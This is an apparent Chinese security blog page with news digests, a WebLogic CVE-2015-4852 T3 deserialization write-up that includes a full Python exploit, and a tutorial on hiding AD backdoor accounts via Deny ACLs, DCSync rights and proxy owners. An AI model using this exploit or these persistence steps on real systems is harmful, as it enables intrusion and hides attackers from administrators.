网络安全日报 2022年12月13日
免责声明:以下内容原文来自互联网的公共方式,仅用于有限分享,译文内容不代表蚁景网安实验室观点,因此第三方对以下内容进行分享、传播等行为,以及所带来的一切后果与译者和蚁景网安实验室无关。以下内容亦不得用于任何商业目的,若产生法律责任,译者与蚁景网安实验室一律不予承担。 1、Fortinet 为已被利用的 SSL-VPN 漏洞发布紧急补丁 https://www.securityweek.com/fortinet-ships-emergency-patch-already-exploited-vpn-flaw 2、Cryptomining 使用基于Go的CHAOS恶意软件针对 Linux 系统 https://securityaffairs.co/wordpress/139554/cyber-crime/cryptocurrency-mining-campaign-chaos-malware.html 3、谷歌为Chrome 添加无密码登录标准passkeys支持 https://thehackernews.com/2022/12/google-adds-passkey-support-to-chrome.html 4、Royal 勒索软件威胁瞄准美国医疗保健系统 https://thehackernews.com/2022/12/royal-ransomware-threat-takes-aim-at-us.html 5、研究人员披露针对Python、JS开发人员的勒索软件攻击 https://blog.phylum.io/phylum-detects-active-typosquatting-campaign-in-pypi 6、澳大利亚电信公司Telstra泄露13万客户数据 https://www.bleepingcomputer.com/news/security/hackers-earn-989-750-for-63-zero-days-exploited-at-pwn2own-toronto/ 7、苹果改进iCloud数据的端到端加密方式 https://www.cysecurity.news/2022/12/apple-improves-icloud-data-end-to-end.html 8、加拿大安大略省疫苗预订系统的数据泄露影响了数十万人 https://www.cbc.ca/news/canada/toronto/vaccine-data-breach-ontario-1.6680714 9、在披露Log4Shell一年后,大多数公司仍暴露在攻击之下 https://www.freebuf.com/news/352218.html 10、Pwn2Own 2022闭幕,参赛者累计获得近百万美元奖金 https://www.freebuf.com/news/352194.html
网络安全日报 2022年12月12日
免责声明:以下内容原文来自互联网的公共方式,仅用于有限分享,译文内容不代表蚁景网安实验室观点,因此第三方对以下内容进行分享、传播等行为,以及所带来的一切后果与译者和蚁景网安实验室无关。以下内容亦不得用于任何商业目的,若产生法律责任,译者与蚁景网安实验室一律不予承担。 1、思科正在为公开披露的 IP 电话漏洞开发补丁 https://www.securityweek.com/cisco-working-patch-publicly-disclosed-ip-phone-vulnerability 2、MuddyWater APT针对中东以及中亚和西亚国家发起新活动 https://securityaffairs.co/wordpress/139505/apt/muddywater-changs-ttps.html 3、超4,000 个易受攻击的 PulseConnect Secure 主机暴露在互联网上 https://www.securityweek.com/over-4000-vulnerable-pulse-connect-secure-hosts-exposed-internet 4、研究人员披露针对电信和BPO公司的入侵活动 https://www.crowdstrike.com/blog/analysis-of-intrusion-campaign-targeting-telecom-and-bpo-companies/ 5、研究人员披露DEV-0139组织针对加密货币行业发起定向攻击 https://www.microsoft.com/en-us/security/blog/2022/12/06/dev-0139-launches-targeted-attacks-against-the-cryptocurrency-industry/ 6、Vice Society勒索组织针对教育部门进行网络攻击 https://unit42.paloaltonetworks.com/vice-society-targets-education-sector/ 7、伊朗APT组织运营的Drokbk恶意软件滥用GitHub托管C2服务 https://www.secureworks.com/blog/drokbk-malware-uses-github-as-dead-drop-resolver 8、研究人员称Matrix协议存在可利用的加密漏洞 https://nebuchadnezzar-megolm.github.io/ 9、澳大利亚警方逮捕涉及1亿美元资金的网络犯罪嫌犯 https://www.bleepingcomputer.com/news/security/australia-arrests-pig-butchering-suspects-for-stealing-100-million/ 10、以色列研究人员利用电源辐射实现气隙网络间的数据传输 https://www.bleepingcomputer.com/news/security/air-gapped-pcs-vulnerable-to-data-theft-via-power-supply-radiation/
网络安全日报 2022年12月09日
免责声明:以下内容原文来自互联网的公共方式,仅用于有限分享,译文内容不代表蚁景网安实验室观点,因此第三方对以下内容进行分享、传播等行为,以及所带来的一切后果与译者和蚁景网安实验室无关。以下内容亦不得用于任何商业目的,若产生法律责任,译者与蚁景网安实验室一律不予承担。 1、苹果取消了 iCloud 照片的 CSAM 检测工具 https://www.securityweek.com/apple-scraps-csam-detection-tool-icloud-photos 2、照明巨头 Acuity Brands 披露了两起数据泄露事件 https://www.securityweek.com/lighting-giant-acuity-brands-discloses-two-data-breaches 3、下载量超过 500 万的 Android 应用程序泄露了用户浏览历史记录 https://securityaffairs.co/wordpress/139415/mobile-2/android-app-with-over-5m-downloads-leaked-user-browsing-history.html 4、研究人员发现了一种绕过几家主要WAF的通用攻击方法 https://www.securityweek.com/wafs-several-major-vendors-bypassed-generic-attack-method 5、俄黑客组织TAG-53对美军事武器与硬件供应商发动钓鱼攻击 https://www.recordedfuture.com/exposing-tag-53-credential-harvesting-infrastructure-for-russia-aligned-espionage-operations 6、研究人员发现使用机器学习模型可部署恶意软件 https://hiddenlayer.com/research/weaponizing-machine-learning-models-with-ransomware/ 7、大量中文网站被黑,嵌入世界杯相关关键词用于黑帽SEO https://www.freebuf.com/articles/network/351899.html 8、微软向加密货币行业发出有针对性的网络攻击警告 https://thehackernews.com/2022/12/microsoft-alerts-cryptocurrency.html 9、英国罚款五家滥用电话营销的公司,共计43.5万英镑 https://www.infosecurity-magazine.com/news/ico-fines-rogue-nuisance-callers/ 10、报告:Z世代互联网用户使网络犯罪“正常化” https://www.infosecurity-magazine.com/news/gen-z-internet-users-normalize/
网络安全日报 2022年12月08日
免责声明:以下内容原文来自互联网的公共方式,仅用于有限分享,译文内容不代表蚁景网安实验室观点,因此第三方对以下内容进行分享、传播等行为,以及所带来的一切后果与译者和蚁景网安实验室无关。以下内容亦不得用于任何商业目的,若产生法律责任,译者与蚁景网安实验室一律不予承担。 1、Apple 为 iCloud 备份添加端到端加密 https://www.securityweek.com/apple-adding-end-end-encryption-icloud-backup 2、Fortinet 修补了 FortiOS 中的高危身份验证绕过漏洞 https://www.securityweek.com/fortinet-patches-high-severity-authentication-bypass-vulnerability-fortios 3、谷歌的威胁分析小组 (TAG) 分享了APT37利用IE 0day漏洞细节 https://www.securityweek.com/google-documents-ie-browser-zero-day-exploited-north-korean-hackers 4、基于Go的僵尸网络"Zerobot"利用Spring4Shell和数十个IoT漏洞 https://www.securityweek.com/self-propagating-zerobot-botnet-targeting-spring4shell-iot-vulnerabilities 5、Pwn2Own Toronto 2022 第一天,三星 Galaxy S22被攻破 https://securityaffairs.co/wordpress/139384/hacking/pwn2own-toronto-2022-day-one.html 6、Sophos Firewall 修复了多个严重漏洞 https://securityaffairs.co/wordpress/139362/security/sophos-firewall-critical-flaw.html 7、新的 Magecart 活动针对至少 44 个电商网站 https://www.scmagazine.com/news/cybercrime/new-magecart-campaign-said-to-target-at-least-44-e-commerce-sites 8、孟加拉黑客组织Team Mysterious Bangladesh攻击印度教育系统 https://cloudsek.com/threatintelligence/indian-central-board-of-higher-education-compromised-by-team-mysterious-bangladesh/ 9、黑客滥用PRoot隔离文件系统劫持Linux设备 https://www.bleepingcomputer.com/news/security/hackers-hijack-linux-devices-using-proot-isolated-filesystems/ 10、本地模式的Eufy家庭摄像头仍会将隐私数据上传云端 https://www.malwarebytes.com/blog/news/2022/12/is-your-home-security-system-storing-data-100-locally
CVE-2015-4852 Weblogic T3 反序列化分析
0x01 前言 看到很多师傅的面经里面都有提到 Weblogic 这一个漏洞,最近正好有一些闲暇时间,可以看一看。 因为环境上总是有一些小问题,所以会在本地和云服务器切换着调试。 0x02 环境搭建 太坑了,我的建议是用本地搭建的方法,因为用 docker 搭建,会产生依赖包缺失的问题,本地搭建指南 https://www.penson.top/article/av40 这里环境安装用的是 奇安信 A-team 大哥提供的脚本,不得不说实在是太方便了!省去了很多环境搭建中不必要的麻烦 链接:https://github.com/QAX-A-Team/WeblogicEnvironment 下载对应版本的 JDK 和 Weblogic 然后分别放在 jdks 和 weblogics 中 JDK安装包下载地址:https://www.oracle.com/technetwork/java/javase/archive-139210.html Weblogic安装包下载地址:https://www.oracle.com/technetwork/middleware/weblogic/downloads/wls-for-dev-1703574.html 我这里直接用的 kali 搭建,需要先把 jdk 和 weblogic 放到文件夹里面,如图 首先要先改写一下 Dockerfile,原作者写的 Dockerfile 有一点小问题 # 基础镜像 FROM centos:centos7 # 参数 ARG JDK_PKG ARG WEBLOGIC_JAR # 解决libnsl包丢失的问题 # RUN yum -y install libnsl # 创建用户 RUN groupadd -g 1000 oinstall && useradd -u 1100 -g oinstall oracle # 创建需要的文件夹和环境变量 RUN mkdir -p /install && mkdir -p /scripts ENV JDK_PKG=$JDK_PKG ENV WEBLOGIC_JAR=$WEBLOGIC_JAR # 复制脚本 COPY scripts/jdk_install.sh /scripts/jdk_install.sh COPY scripts/jdk_bin_install.sh /scripts/jdk_bin_install.sh COPY scripts/weblogic_install11g.sh /scripts/weblogic_install11g.sh COPY scripts/weblogic_install12c.sh /scripts/weblogic_install12c.sh COPY scripts/create_domain11g.sh /scripts/create_domain11g.sh COPY scripts/create_domain12c.sh /scripts/create_domain12c.sh COPY scripts/open_debug_mode.sh /scripts/open_debug_mode.sh COPY jdks/$JDK_PKG . COPY weblogics/$WEBLOGIC_JAR . # 判断jdk是包(bin/tar.gz)weblogic包(11g/12c)载入对应脚本 RUN if [ $JDK_PKG == *.bin ] ; then echo ****载入JDK bin安装脚本**** && cp /scripts/jdk_bin_install.sh /scripts/jdk_install.sh ; else echo ****载入JDK tar.gz安装脚本**** ; fi RUN if [ $WEBLOGIC_JAR == *1036* ] ; then echo ****载入11g安装脚本**** && cp /scripts/weblogic_install11g.sh /scripts/weblogic_install.sh && cp /scripts/create_domain11g.sh /scripts/create_domain.sh ; else echo ****载入12c安装脚本**** && cp /scripts/weblogic_install12c.sh /scripts/weblogic_install.sh && cp /scr # 脚本设置权限及运行 RUN chmod +x /scripts/jdk_install.sh RUN chmod +x /scripts/weblogic_install.sh RUN chmod +x /scripts/create_domain.sh RUN chmod +x /scripts/open_debug_mode.sh # 安装JDK RUN /scripts/jdk_install.sh # 安装weblogic RUN /scripts/weblogic_install.sh # 创建Weblogic Domain RUN /scripts/create_domain.sh # 打开Debug模式 RUN /scripts/open_debug_mode.sh # 启动 Weblogic Server # CMD ["tail","-f","/dev/null"] CMD ["/u01/app/oracle/Domains/ExampleSilentWTDomain/bin/startWebLogic.sh"] EXPOSE 7001 接着起环境 docker build --build-arg JDK_PKG=jdk-7u21-linux-x64.tar.gz --build-arg WEBLOGIC_JAR=wls1036_generic.jar  -t weblogic1036jdk7u21 . docker run -d -p 7001:7001 -p 8453:8453 -p 5556:5556 --name weblogic1036jdk7u21 weblogic1036jdk7u21 再把 docker 当中的一些依赖文件夹拷出来,但是这一步经过我测试,感觉 docker 当中的 lib 存在一定问题,所以后续把 weblogic 的库拿进来就可以了,对应的代码我会放在 GitHub 上,避免师傅们踩坑。 0x03 基础知识 关于 Weblogic 首先说一说 Weblogic 吧,Weblogic 就和 Tomcat 差不多,从功能上来说就是两个 Web 服务端,也是启动器。 和 Tomcat 不同的地方在于,Weblogic 可以自己部署很多东西,要知道,在 Tomcat 当中,这些都是需要自己写代码的。 T3 协议 T3 协议其实是 Weblogic 内独有的一个协议,在 Weblogic 中对 RMI 传输就是使用的 T3 协议。在 RMI 传输当中,被传输的是一串序列化的数据,在这串数据被接收后,执行反序列化的操作。 在 T3 的这个协议里面包含请求包头和请求的主体这两部分内容。 我们可以拿 CVE-2015-4852 的 EXP 来讲解 EXP 如下 import socket import sys import struct import re import subprocess import binascii def get_payload1(gadget, command):    JAR_FILE = '.\ysoserial.jar'    popen = subprocess.Popen(['java', '-jar', JAR_FILE, gadget, command], stdout=subprocess.PIPE)    return popen.stdout.read() def get_payload2(path):    with open(path, "rb") as f:        return f.read() def exp(host, port, payload):    sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)    sock.connect((host, port))    handshake = "t3 12.2.3\nAS:255\nHL:19\nMS:10000000\n\n".encode()    sock.sendall(handshake)    data = sock.recv(1024)    pattern = re.compile(r"HELO:(.*).false")    version = re.findall(pattern, data.decode())    if len(version) == 0:        print("Not Weblogic")        return    print("Weblogic {}".format(version[0]))    data_len = binascii.a2b_hex(b"00000000") #数据包长度,先占位,后面会根据实际情况重新    t3header = binascii.a2b_hex(b"016501ffffffffffffffff000000690000ea60000000184e1cac5d00dbae7b5fb5f04d7a1678d3b7d14d11bf136d67027973720078720178720278700000000a000000030000000000000006007070707070700000000a000000030000000000000006007006") #t3协议头    flag = binascii.a2b_hex(b"fe010000") #反序列化数据标志    payload = data_len + t3header + flag + payload    payload = struct.pack('>I', len(payload)) + payload[4:] #重新计算数据包长度    sock.send(payload) if __name__ == "__main__":    host = "81.68.120.14"    port = 7001    gadget = "Jdk7u21" #CommonsCollections1 Jdk7u21    command = "Calc"    payload = get_payload1(gadget, command)    exp(host, port, payload) 这里有一个小坑,我直接运行 py 程序是不行的,会回显 Not Weblogic,因为 python socket 如果是频繁发包,会被服务端所拒绝,所以需要以 debug 模式运行。当然如果增添 sleep 应该也是可以实现的。 Weblogic 请求包头 我们需要通过 Wireshark 对这一个流量包执行抓包操作,后续抓到包的请求头如图 这一个就是它请求包的头 t3 12.2.1 AS:255 HL:19 MS:10000000 PU:t3://us-l-breens:7001 在发送该请求包头后,服务端 Weblogic 会有一个响应,内容如下 HELO:10.3.6.0.false AS:2048 HL:19 HELO 后面的内容则是被攻击方的 Weblogic 版本号,也就是说,在发送正确的请求包头后,服务端会进行一个返回 Weblogic 的版本号。 Weblogic 请求主体 请求主体,也就是发送的数据,这些数据分为七部分内容,此处借用 z_zz_zzz师傅的http://drops.xmd5.com/static/drops/web-13470.html文章中的一张图 第一个非 Java 序列化数据,也就是我们的请求头:t3 12.2.1 AS:255 HL:19 MS:10000000 PU:t3://us-l-breens:7001 后面第 n 部分的数据,其实是不限制的,也就是说,我可以只有一部分的 Java 序列化数据,也可以有七部分的 Java 序列化数据,这并不重要,我们可以看观察一下 Wireshark 抓的包 在 ac ed 00 05 之后的内容便是序列化的数据,所以如果我们要进行攻击,应该是对于这一串序列化的数据进行恶意构造,让服务端在反序列化的时候发起攻击。 而此处,如果有多个 Java 序列化的数据,可以对任一一个数据进行攻击即可。 0x04 漏洞分析与调试 寻找尾部漏洞点 毕竟是反序列化的漏洞,思考了一下从两个点入手。 1、是否存在 Jndi 注入2、是否有能够命令执行的利用点 Jndi 注入的链尾探索 怀着这样的思路,先全局搜索 Jndi 关键词,感觉我这样的做法应该很不精准,但是暂时找不到其他好的方法,应该是要借助一些插件或者工具什么的了。 这里有一个 JndiServiceImpl 类,看着不错,点进去看看,它的 invoke() 方法同样吸引人,点过去之后发现疑似存在 jndi 注入 不过这里虽然参数 ———— this.implJndiName 是可控的,但是无法进行攻击,因为只能对 java:comp/env/ 进行探测,无法对 rmi, jndi, ldap 三者进行有效的调用,初步告吹了。 重新换一个类,这里我找到的是 JndiAttrs 类,在它的构造函数中存在调用 ldap 的现象,在第 40 行 从第六个字符开始截取,存在一些绕过手法,这个并不要紧,而 providerURL 最后会被 put 进 env 当中,env 是一个 Properties 类 继续往下分析,env 作为 InitialDirContext 类的构造函数的传参。 一路跟进,是到了 InitialContext 的构造函数,跟进 init() 方法 跟进 getDefaultInitCtx() 方法,再跟进 NamingManager.getInitialContext(myProps),发现只是 loadClass 了一个对象,寄,白给。 诸如此类链尾的尝试还有很多,师傅们可以自行尝试,我这只是在抛砖引玉。由于篇幅限制,后续内容我们还是集中于 Weblogic CVE-2015-4852 的漏洞分析。 漏洞分析 通过命令 ls -r ./* | grep -i commons,抑或是通过 maven dependency analyze,都可以分析得到 weblogic 10.3.6 的包里面包含有 Commons Collections 3.2.0 的包。 所以我们现在已经有了链尾,需要寻找一个合适的入口类,这里就直接借用其他师傅们的研究成果了,反序列化的入口类是在 InboundMsgAbbrev#readObject 处,下个断点开始调试。 Weblogic T3 对于 RMI 传递过来的数据在处理上还是比较绕的,不过有了前面 z_zz_zzz 师傅文章中的那张图,在理解上能够变得简单得多。 开始调试 先跟进 ServerChannelInputStream 的构造函数,ServerChannelInputStream 这个类的作用是处理服务端收到的请求头信息 继续跟进 getServerChannel() 方法 我们可以关注一下目前的 this.connection 是什么 connection 是 weblogic.rjvm.t3.MuxableSocketT3$T3MsgAbbrevJVMConnection@49be5302 这个类,在 this.connection 中主要存储了一些 RMI 连接的数据,包括端口地址等 跟进 getChannel() 方法,开始处理 T3 协议 T3 头处理结束,重新回到 InboundMsgAbbrev#readObject 处,跟进 readObject() 方法 一路跟进至 InboundMsgAbbrev#resolveClass() 中,这里的调用栈如下 resolveClass:108, InboundMsgAbbrev$ServerChannelInputStream (weblogic.rjvm) readNonProxyDesc:1610, ObjectInputStream (java.io) readClassDesc:1515, ObjectInputStream (java.io) readOrdinaryObject:1769, ObjectInputStream (java.io) readObject0:1348, ObjectInputStream (java.io) readObject:370, ObjectInputStream (java.io) readObject:66, InboundMsgAbbrev (weblogic.rjvm) read:38, InboundMsgAbbrev (weblogic.rjvm) resolveClass() 方法是用来处理类的,这些类在经过反序列化之后会走到 resolveClass() 方法这里,此时的 var1,正是我们的 AnnotationInvocationHandler 类 这时候的 AnnotationInvocationHandler 类并不会被直接拿去反序列化,因为 Weblogic 服务端需要先加载所有反序列化的内容。在将所有数据反序列化解析完毕之后(也可以说只是做了 Class.forName() 的操作之后),才会开始进行真正的反序列化 后续就是熟悉的 CC1 链环节,这里不再展开 PoC 理解 PoC 本质就是把 ysoserial 生成的 payload 变成 T3 协议里的数据格式,我们需要写入的有几段东西。 1、Header,这代表了数据包长度2、T3 Header3、反序列化标志,也就是 fe 01 00 00 所以这三段话是这么来的 header = binascii.a2b_hex(b"00000000") t3header = binascii.a2b_hex(b"016501ffffffffffffffff000000690000ea60000000184e1cac5d00dbae7b5fb5f04d7a1678d3b7d14d11bf136d67027973720078720178720278700000000a000000030000000000000006007070707070700000000a000000030000000000000006007006") desflag = binascii.a2b_hex(b"fe010000") 0x05 漏洞修复 在 resolveClass 处打补丁 在前面分析的过程中,我们能够看出来,加载类其实是通过调用 resolveClass() 方法,再通过反射获取到任意类的,所以官方选择了基于 resolveClass() 去做黑名单校验。 如果在 resolveClass() 处加入一个过滤,在 readNonProxyDesc 调用完 resolveClass 方法后,后面的反序列化操作无法完成。 通过 Web 代理与 nginx 等负载均衡防御 Web 代理的方式只能转发 HTTP 的请求,而不会转发 T3 协议的请求,这就能防御住 T3 漏洞的攻击。当然这对于业务上有很大的影响。同理负载均衡也是,不过负载均衡需要自己手动设置。 黑名单 bypass Oracle 官方对于 CVE-2015-4852 的修复是通过黑名单限制的。 黑名单中的类不会被反序列化 绕过思路如下 其实就是由 ServerChannelInputStream 换到了自身的 ReadExternal#InputStream,这一个 bypass 也被收录为 CVE-2016-0638;后续会对这一个漏洞进行分析。 0x06 小结 从原理角度上来说还是比较简单的,不过理解 T3 的传输,并且构造恶意 PoC 的过程是非常值得学习的,CVE-2015-4852 为一些类似的攻击提供了思路。
如何在Windows AD域中驻留ACL后门
前言 当拿下域控权限时,为了维持权限,常常需要驻留一些后门,从而达到长期控制的目的。Windows AD域后门五花八门,除了常规的的添加隐藏用户、启动项、计划任务、抓取登录时的密码,还有一些基于ACL的后门。 ACL介绍 ACL是一个访问控制列表,是整个访问控制模型(ACM)的实现的总称。常说的ACL主要分为两类,分别为特定对象安全描述符的自由访问控制列表 (DACL) 和系统访问控制列表 (SACL)。对象的 DACL 和 SACL 都是访问控制条目 (ACE) 的集合,ACE控制着对象指定允许、拒绝或审计的访问权限,其中Deny拒绝优先于Allow允许。 https://learn.microsoft.com/zh-cn/windows/desktop/SecGloss/s-gly包含与https://learn.microsoft.com/zh-cn/windows/win32/secauthz/securable-objects关联的安全信息。 安全描述符由 https://learn.microsoft.com/zh-cn/windows/desktop/api/Winnt/ns-winnt-security_descriptor 结构和关联的安全信息组成。 安全描述符可以包含以下安全信息:: 1、对象所有者和主组https://learn.microsoft.com/zh-cn/windows/win32/secauthz/security-identifiers (SID) 。 2、指定允许或拒绝特定用户或组的访问权限的 https://learn.microsoft.com/zh-cn/windows/win32/secauthz/access-control-lists 。 3、一个 https://learn.microsoft.com/zh-cn/windows/win32/secauthz/access-control-lists ,指定为对象生成审核记录的访问尝试的类型。 4、一组控制位,用于限定安全描述符或其单个成员的含义。 隐藏安全描述符 当可控一个用户时,不想该用户被轻易发现,可以对其进行隐藏。首先查看该用户所用者,默认是域管组: 可以在GUI上对所有者进行修改,也可以使用powerview进行修改: Set-DomainObjectOwner -identity jumbo -OwnerIdentity jumbo 修改完成后: 因为是权限维持,所以当前权限是域管,先尝试给域管添加一个对jumbo用户Deny所有权限的ACL,但是发现powerview的Add-DomainObjectAcl方法并没有设置Deny权限的操作,只有Allow: 当然,你可以使用New-ADObjectAccessControlEntry来完成手动ACL的添加,他的原理如下图: 上图看出还要手动做最后的ACL保存。既然Add-DomainObjectAcl已经完成了自动化的CommitChanges,直接把Allow默认可变的参数不就行了?首先手动在Add-DomainObjectAcl添加一个AccessControlType参数: .PARAMETER AccessControlType Specifies the type of ACE (allow or deny) 设置参数定义: [Parameter(Mandatory = $True, ParameterSetName='AccessRuleType')] [ValidateSet('Allow', 'Deny')] [String[]] $AccessControlType, 删除之前的默认的Allow: 最后把AccessControlType参数替换之前的ControlType: 现在就可以在使用AccessControlType参数来给对象添加Allow或者Deny的权限了。 当尝试域管添加一个对jumbo用户Deny所有权限的ACL后: Add-DomainObjectAcl -TargetIdentity jumbo -PrincipalIdentity S-1-5-21-12312321-1231312-123123-500 -AccessControlType Deny 当然,把SID改成SamAccountName也是可以的: Add-DomainObjectAcl -TargetIdentity jumbo -PrincipalIdentity administrator -AccessControlType Deny 可以发现域管也没权限查看jumbo用户的属性了: 当使用system用户查看jumbo用户ACL时,可以看到对应的Deny的ACL: 现在域管对jumbo用户已经无法操作任何东西了,先用system用户删除该Deny权限,准备使用powerview的Remove-DomainObjectAcl方法时,发现也只有的Allow,也就是默认只能移除对象的Allow权限,老方法,把删除的ACL属性设置为可变参数: 进行删除: Remove-DomainObjectAcl -TargetIdentity jumbo -PrincipalIdentity S-1-5-21-12312321-1231312-123123-500 -Rights ALL -AccessControlType Deny 当然,把SID改成SamAccountName也是可以的: Remove-DomainObjectAcl -TargetIdentity jumbo -PrincipalIdentity administrator -Rights ALL -AccessControlType Deny 那么同学们可能会想,如果真的有人进行了上面操作,真的没办法查看了吗,实际上并不是,对象的拥有者是有权限修改的,比如把jumbo用户的拥有者改成默认的域管组,然后对域管进行设置Deny的ACL,但是实际上拥有者依然有权限修改其ACL,这也是为什么在文章开始的时候,要把jumbo拥有者设置为jumbo的目的: 上面尝试了拒绝域管对jumbo所有的权限,那为了隐藏,并且为了防止后续还要对jumbo用户的一些其他修改,实际上可以对jumbo用户设置everyone拒绝读取的权限即可: 现在所有用户对其都没有查看权限了: 当然,只是设置了拒绝读取权限,实际上当域管去修改其ACL权限时,还是可以的: 现在通过net user命令已经看不到jumbo这个用户了: 在“用户和计算机”里看用户长这样: 从上面的操作可以发现,给everyone用户添加拒绝读取权限时是通过GUI实现的,因为everyone用户是个特殊的用户,属于https://learn.microsoft.com/en-us/windows-server/identity/ad-ds/manage/understand-special-identities-groups#everyone,是一个属于https://learn.microsoft.com/en-us/windows/win32/secauthz/well-known-sids的用户,其对应的SID为S-1-1-0: 当尝试使用powerview的Add-DomainObjectAcl方法是无法完成给everyone用户添加ACL的: 通过查看powerview的代码,会通过Get-ObjectAcl方法获取对应用户的SID,但是刚刚提到,everyone用户是个特殊的用户,导致查不到: 但是看了下还有个New-ADObjectAccessControlEntry方法,会判断输入的PrincipalIdentity参数是不是SID,如果是SID就不走查询,因此可以照葫芦画瓢,把这个判断加到Add-DomainObjectAcl方法中:       if ($PrincipalIdentity -notmatch '^S-1-.*') {           $PrincipalSearcherArguments = @{               'Identity' = $PrincipalIdentity               'Properties' = 'distinguishedname,objectsid'           }           if ($PSBoundParameters['PrincipalDomain']) { $PrincipalSearcherArguments['Domain'] = $PrincipalDomain }           if ($PSBoundParameters['Server']) { $PrincipalSearcherArguments['Server'] = $Server }           if ($PSBoundParameters['SearchScope']) { $PrincipalSearcherArguments['SearchScope'] = $SearchScope }           if ($PSBoundParameters['ResultPageSize']) { $PrincipalSearcherArguments['ResultPageSize'] = $ResultPageSize }           if ($PSBoundParameters['ServerTimeLimit']) { $PrincipalSearcherArguments['ServerTimeLimit'] = $ServerTimeLimit }           if ($PSBoundParameters['Tombstone']) { $PrincipalSearcherArguments['Tombstone'] = $Tombstone }           if ($PSBoundParameters['Credential']) { $PrincipalSearcherArguments['Credential'] = $Credential }           $Principal = Get-DomainObject @PrincipalSearcherArguments           if (-not $Principal) {               throw "Unable to resolve principal: $PrincipalIdentity"           }           elseif($Principal.Count -gt 1) {               throw "PrincipalIdentity matches multiple AD objects, but only one is allowed"           }           $ObjectSid = $Principal.objectsid           Write-Host ($ObjectSid)       }       else {           Write-Host "..sid.."           $ObjectSid = $PrincipalIdentity       }               $Identity = [System.Security.Principal.IdentityReference] ([System.Security.Principal.SecurityIdentifier]$ObjectSid) 现在尝试下,给jumbo2用户添加everyone所有拒绝的ACL: Add-DomainObjectAcl -TargetIdentity jumbo2 -PrincipalIdentity S-1-1-0 -Rights All -AccessControlType Deny Remove-DomainObjectAcl方法同理。 隐藏主体 通过上面的步骤,除了jumbo用户本身可以查看jumbo用户以为,其他用户都没有ReadControl权限,但是在“Active Directory用户和计算机管理”里还是可以看到,虽然ico图标都没了,接下来要让在“Active Directory用户和计算机管理”里也看不到。为了方便演示,笔者把jumbo用户移到一个单独的OU组里: 然后给这个OU设置everyone拒绝读取权限即可: 遇到一些粗心大意的管理员,可能会觉得这只是无意残留的无害物质,无伤大雅。 Dcsync Dcsync实际上就是给用户设置两条扩展权限,分别为: DS-Replication-Get-Changes (GUID: 1131f6aa-9c07-11d1-f79f-00c04fc2dcd2) DS-Replication-Get-Changes-All (GUID: 1131f6ad-9c07-11d1-f79f-00c04fc2dcd2) 当用户拥有这两条ACL后,即可使用DRS协议获取域hash凭据。给用户在域对象上添加Dcsync权限即可: 代理账号 上面提到,把jumbo用户拥有者改成自身,然后设置everyone对其没有读取权限,这样就可以达到隐藏jumbo,然后手上的jumbo用户就可以肆无忌惮的做一些操作。但是有个问题,万一做操作的时候,该用户被发现了,管理员把该用户进行了禁用,那好不容易获取到的账号就废了。为了防止账号被发现后被禁用/被改密码不可用,应该设置个代理账号,把准备拿来攻击的账号(某个管理员用户或者有dcsync类似权限的账号)的拥有者设置代理账号,代理账号是其拥有所有者,然后设置所有用户对攻击账号都不可操作,最后每次都可以使用代理账号控制攻击账号,就算攻击账号被禁用/被改密码,也可以使用代理账号来重新启用他。 首先攻击账号为attack,代理账号为good,首先设置attack账号所有者为good: Set-DomainObjectOwner -identity attack -OwnerIdentity good 给attack账号添加dcsync权限: Add-DomainObjectAcl -TargetIdentity "DC=domain,DC=com" -PrincipalIdentity attack -Rights DCSync -AccessControlType Allow 设置attack都不可操作: Add-DomainObjectAcl -TargetIdentity attack -PrincipalIdentity S-1-1-0 -Rights All -AccessControlType Deny 这个时候,如果attack在发起攻击的时候被管理员发现了,把attack账号密码重置了,但是good账号是attack账号的拥有者,可以修改attack账号的ACL,比如给自己添加修改密码的权限,然后去重置attack账号的密码,然后就又可以拿来攻击了。 总结 本文主要讲了在Windows域中如何利用ACL进行后门隐藏,并对powerview进行修改使其支持在添加ACL或者删除ACL时可以指定Allow或者Deny,也可以选择everyone此类特殊用户。
网络安全日报 2022年12月07日
免责声明:以下内容原文来自互联网的公共方式,仅用于有限分享,译文内容不代表蚁景网安实验室观点,因此第三方对以下内容进行分享、传播等行为,以及所带来的一切后果与译者和蚁景网安实验室无关。以下内容亦不得用于任何商业目的,若产生法律责任,译者与蚁景网安实验室一律不予承担。 1、Sophos防火墙修复多个代码执行漏洞 https://www.securityweek.com/several-code-execution-vulnerabilities-patched-sophos-firewall 2、俄罗斯第二大银行 VTB Bank 遭受 DDoS 攻击 https://securityaffairs.co/wordpress/139354/hacking/vtb-bank-ddos-attack.html 3、美国警方采购汽车取证工具,可破解万款汽车信息娱乐系统提取数据 https://securityaffairs.co/wordpress/139267/hacking/law-enforcement-cars-infotainment-systems.html 4、报告称网络勒索在非洲、中东和中国呈指数级增长 https://www.infosecurity-magazine.com/news/cyber-extortion-growing-africa 5、研究人员披露APT37组织所使用的TTP https://thorcert.notion.site/TTPs-9-f04ce99784874947978bd2947738ac92 6、开源勒索软件工具包Cryptonite具有破坏性数据擦除功能 https://www.fortinet.com/blog/threat-research/Ransomware-Roundup-Cryptonite-Ransomware 7、AMI MegaRAC基板管理控制器供应链漏洞影响数十家制造商的服务器 https://thehackernews.com/2022/12/new-bmc-supply-chain-vulnerabilities.html 8、Android Messages 群聊将支持端对端加密 https://blog.google/products/messages/happy-birthday-sms/ 9、匈牙利政府被指向公民发送大量政治垃圾邮件 https://cybernews.com/privacy/hungary-abused-databases-bombard-citizens-political-spam/ 10、美国南达科他州禁止在政府发放的设备上安装 TikTok https://governor.sd.gov/doc/GovNoem-EO_2022-10.pdf
网络安全日报 2022年12月06日
免责声明:以下内容原文来自互联网的公共方式,仅用于有限分享,译文内容不代表蚁景网安实验室观点,因此第三方对以下内容进行分享、传播等行为,以及所带来的一切后果与译者和蚁景网安实验室无关。以下内容亦不得用于任何商业目的,若产生法律责任,译者与蚁景网安实验室一律不予承担。 1、严重漏洞迫使社交媒体平台 Hive Social 离线 https://www.securityweek.com/critical-vulnerabilities-force-twitter-alternative-hive-social-offline 2、严重的 Ping 错误可能导致远程接管FreeBSD 系统 https://securityaffairs.co/wordpress/139300/hacking/cve-2022-23093-freebsd-systems-flaw.html 3、Lazarus APT 使用伪造的加密货币应用传播 AppleJeus 恶意软件 https://securityaffairs.co/wordpress/139290/apt/lazarus-apt-bloxholder-campaign.html 4、研究人员在暗网中发现最大的移动端恶意软件市场 https://securityaffairs.co/wordpress/139310/cyber-crime/dark-web-mobile-malware-marketplace.html 5、三星小米等厂商均受影响,谷歌披露威胁数百万安卓设备的高危漏洞 https://www.ithome.com/0/658/513.htm 